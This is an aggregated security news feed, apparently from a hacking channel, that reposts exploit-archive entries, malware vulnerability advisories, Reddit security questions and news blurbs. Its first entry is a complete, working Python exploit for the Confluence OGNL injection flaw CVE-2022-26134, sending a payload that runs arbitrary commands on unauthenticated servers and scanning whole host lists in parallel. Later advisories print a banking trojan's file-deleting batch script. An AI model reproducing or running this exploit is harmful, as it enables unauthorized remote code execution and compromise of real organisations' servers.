Exploit Collector
Confluence OGNL Injection Remote Code Execution

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png Confluence suffers from a pre-authentication remote code execution vulnerability that is leveraged via OGNL injection. All 7.4.17 versions before 7.18.1 are affected.

SHA-256 | 26aa29ff2f763421c60482664f517397136737aa76c3603580bd9bdd40a7e339Download #!/usr/bin/python3

# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection
# Google Dork: N/A
# Date: 06/006/2022
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.4.17 versions before 7.18.1
# Tested on: -
# CVE : CVE-2022-26134
# https://github.com/h3v0x/CVE-2022-26134

import sys
import requests
import optparse
import multiprocessing

from requests.packages import urllib3
from requests.exceptions import MissingSchema, InvalidURL
urllib3.disable_warnings()

requestEngine = multiprocessing.Manager()
session = requests.Session()

global paramResults
paramResults = requestEngine.list()
globals().update(locals())

def spiderXpl(url):
globals().update(locals())
if not url.startswith('http'):
url='http://'+url

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"}

try:
response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(response.status_code == 302):
print('Found: '+url+' // '+ response.headers['X-Cmd-Response'])

inputBuffer = str(response.headers['X-Cmd-Response'])
paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n')
else:
pass

except requests.exceptions.ConnectionError:
print('[x] Failed to Connect: '+url)
pass
except multiprocessing.log_to_stderr:
pass
except KeyboardInterrupt:
print('[!] Stoping exploit...')
exit(0)
except (MissingSchema, InvalidURL):
pass
def banner():
print('[-] CVE-2022-26134')
print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n')
def main():
banner()

globals().update(locals())

sys.setrecursionlimit(100000)

if not optionsOpt.filehosts:
url = optionsOpt.url
spiderXpl(url)
else:
f = open(optionsOpt.filehosts)
urls = map(str.strip, f.readlines())

multiReq = multiprocessing.Pool(optionsOpt.threads_set)
try:
multiReq.map(spiderXpl, urls)
multiReq.close()
multiReq.join()
except UnboundLocalError:
pass
except KeyboardInterrupt:
exit(0)
if optionsOpt.output:
print("\n[!] Saving the output result in: %s" % optionsOpt.output)

with open(optionsOpt.output, "w") as f:
for result in paramResults:
f.write("%s\n" % result)
f.close()

if __name__ == "__main__":
parser = optparse.OptionParser()

parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
parser.add_option('-f', '--file', dest="filehosts", help='example.txt')
parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10)
parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8)
parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt')
parser.add_option('-c', '--cmd', dest="command", type=str, default='id')
optionsOpt, args = parser.parse_args()

main() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Confluence OGNL Injection Proof Of Concept

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
Proof of concept script that exploits the remote code execution vulnerability affecting Atlassian Confluence versions 7.18 and below. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. All supported versions of Confluence Server and Data Center are affected. Confluence Server and Data Center versions after 1.3.0 and below 7.18.1 are affected. The vulnerability has a CVSS score of 10 out of 10 for criticality.

SHA-256 | af35a5a0af240395f62e977601885f29387ee4fc958081d1910e6f6f0d3d428a

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Banker.Win32.Banker.agzg MVID-2022-0608 Insecure Permissions

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Trojan-Banker.Win32.Banker.agzg malware suffers from an insecure permissions vulnerability.

SHA-256 | 1876a4e6434c2516144ce66e1f105fb0ab5f8cd4fd16271c066310d836f2d9c2

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/ef1e59148c9a902ae5454760aaab73fe.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Banker.Win32.Banker.agzg
Vulnerability: Insecure Permissions
Description: The malware writes a PE file to c drive granting change (C)
permissions to the authenticated user group. Standard users can rename the
executable dropped by the malware to disable it or replace it with their
own executable. Then wait for a privileged user to logon to the infected
machine to potentially escalate privileges.
Family: Banker
Type: PE32
MD5: ef1e59148c9a902ae5454760aaab73fe
Vuln ID: MVID-2022-0608
Disclosure: 06/06/2022
Exploit/PoC:
C:\>cacls tuto.exe
C:\tuto.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir tuto.exe
Volume in drive C has no label.

Directory of C:\

05/04/2022 02:56 AM 14,336 tuto.exe
1 File(s) 14,336 bytes
Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Proxy.Win32.Symbab.o MVID-2022-0610 Heap Corruption

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Through The Wire CVE-2022-26134 Confluence Proof Of Concept

https://2.bp.blogspot.com/-QRNaohEgzXY/WWlvKewId7I/AAAAAAAAIL8/tdiAF5DdWR4NRfdTdLr92btKcmbTDzxHQCLcBGAs/s1600/h147.png
Through the Wire is a proof of concept exploit for CVE-2022-26134, an OGNL injection vulnerability affecting Atlassian Confluence Server and Data Center versions 7.13.6 LTS and below and versions 7.18.0 "Latest" and below. This was originally a zero-day exploited in-the-wild.

SHA-256 | 942e5b3f32027294cb480a1f6e34ca8ed1933380c4aa4a79161e45a5c6ec7cbc

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Banker.Win32.Banbra.cyt MVID-2022-0611 Insecure Permissions

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Trojan-Banker.Win32.Banbra.cyt malware suffers from an insecure permissions vulnerability.

SHA-256 | 59d78448228c37d3ef646c8d1875471e29b3ea9f4f7baf50d7b0322510692ded

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/e0f2bee25dd103d92e91e895e313ec34.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Banker.Win32.Banbra.cyt
Vulnerability: Insecure Permissions
Description: The malware writes a batch script ".bat" file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Family: Banbra
Type: PE32
MD5: e0f2bee25dd103d92e91e895e313ec34
Vuln ID: MVID-2022-0611
Disclosure: 06/06/2022

Exploit/PoC:
C:\>cacls autoexec.bat
C:\autoexec.bat BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>type autoexec.bat
@echo off
SET princix=del
SET pasta1=c:\windows\downlo~1\gb*.*
SET pasta2=c:\windows\downlo~1\*.g??
SET pasta3=c:\windows\downlo~1\g*.*
SET pasta4=c:\arquiv~1\GbPlugin\g*.*
SET pasta5=c:\arquiv~1\GbPlugin\b*.*
SET pasta6=c:\arquiv~1\GbPlugin\c*.*
SET pasta55=c:\arquiv~1\GbPlugin\u*.*
SET pasta7=c:\windows\downlo~1\Ab*.*
SET pasta8=c:\windows\downlo~1\b*.*
SET pasta9=c:\windows\downlo~1\Ab*.*
SET pasta10=c:\progra~1\GbPlugin\g*.*
SET pasta11=c:\progra~1\GbPlugin\b*.*
SET pasta12=c:\progra~1\GbPlugin\c*.*
SET pasta56=c:\progra~1\GbPlugin\u*.*
SET pasta13=C:\progra~1\Scpad\s*.*
SET pasta14=c:\arquiv~1\Scpad\s*.*
SET pasta15=C:\WINDOWS\system32\scpsssh*.*
%princix% %pasta1%
%princix% %pasta2%
%princix% %pasta3%
%princix% %pasta4%
%princix% %pasta5%
%princix% %pasta6%
%princix% %pasta7%
%princix% %pasta8%
%princix% %pasta9%
%princix% %pasta10%
%princix% %pasta11%
%princix% %pasta12%
%princix% %pasta13%
%princix% %pasta14%
%princix% %pasta15%
%princix% %pasta55%
%princix% %pasta56%

C:\>
C:\>dir autoexec.bat
Volume in drive C has no label.

Directory of C:\

05/24/2022 02:26 AM 1,028 autoexec.bat
1 File(s) 1,028 bytes
0 Dir(s) 24,498,929,664 bytes free
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Marketplace for non-0-day edploits

There are a few big names in the space of buying and selling 0-day exploits as could be seen in the news. The bigest would be Zerodium. My question is are there any other companies buying and selling exploits for already published vulnerabilities but that do not yet have an exploit available?
I must assume that there would be amarket for that, especially if we talk about recent vulnerabilities.

submitted by /u/reujea0
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Password Harvesting, Industrial Exploitation, and Reverse Shells, Oh My! Repository of Red Teaming TTPs

https://external-preview.redd.it/FjUuYjEb3vvIJiLhuLhJ9McDCCv4-H9pEiUMV_eHy6w.jpg?width=640&crop=smart&auto=webp&s=bbbde19c5b96497c46407974ae962a9215629200 submitted by /u/entropydaemon6
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can't choose disk file on virtualbox

On Windows 10 when I open virtualbox and choose the disk file it doesnt recognize kali linux and if I try to search it and add it then it gives me an error, which I posted below. I went into the settings of the virtual machine and almost all of them are disabled (I can't click or enable them).

I'm not sure if the virtualization is enabled since I cant check the bios of the pc (maybe there is another way), and this might be the problem. In task manager I checked and it says virtualisation is enabled, but maybe I heard it only works through bios.

​

Could not get the storage format of the medium 'C:\Program Files\Kali Linux\kali-linux-2022.2-virtualbox-amd64.ova' (VERR_NOT_SUPPORTED).

Result Code:

VBOX_E_IPRT_ERROR (0x80BB0005)

Component:

MediumWrap

Interface:

IMedium {ad47ad09-787b-44ab-b343-a082a3f2dfb1}

Callee:

IVirtualBox {d0a0163f-e254-4e5b-a1f2-011cf991c38d}

Callee RC:

VBOX_E_OBJECT_NOT_FOUND (0x80BB0001)

submitted by /u/zignet3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
The Surreal Case of a C.I.A. Hacker’s Revenge

https://external-preview.redd.it/ArjakZcbA3AQPTNkR00o2iGa1nEqWI8-b8QvbXIT8eE.jpg?width=640&crop=smart&auto=webp&s=87258239a7aa8e500c0270b33cbcf7f7bb570c5b submitted by /u/Zee2A
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

resources for issue definition
https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/

I'm trying to write up my first report and I've my attack path sorted. Having difficulty converting my findings to issues. I've found https://portswigger.net/kb/issues. Have you any other resources like these to assist pairing the findings to issues? submitted by /u/MrFoxes (https://www.reddit.com/user/MrFoxes)
[link] (https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/) [comments] (https://www.reddit.com/r/Pentesting/comments/v6xcz9/resources_for_issue_definition/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
7 NFT Scams That Could Be Targeting Your Brand

Brands should be vigilant to ensure sites and listings promoting NFTs for sale are legitimate and not being used as an instrument by fraudsters to swindle customers.

Dark Reading: Attacks/Breaches
Enterprise Security Around the Dinner Table

Enterprise cybersecurity awareness training has evolved to include informal lessons for employees’ family members, and it has many benefits.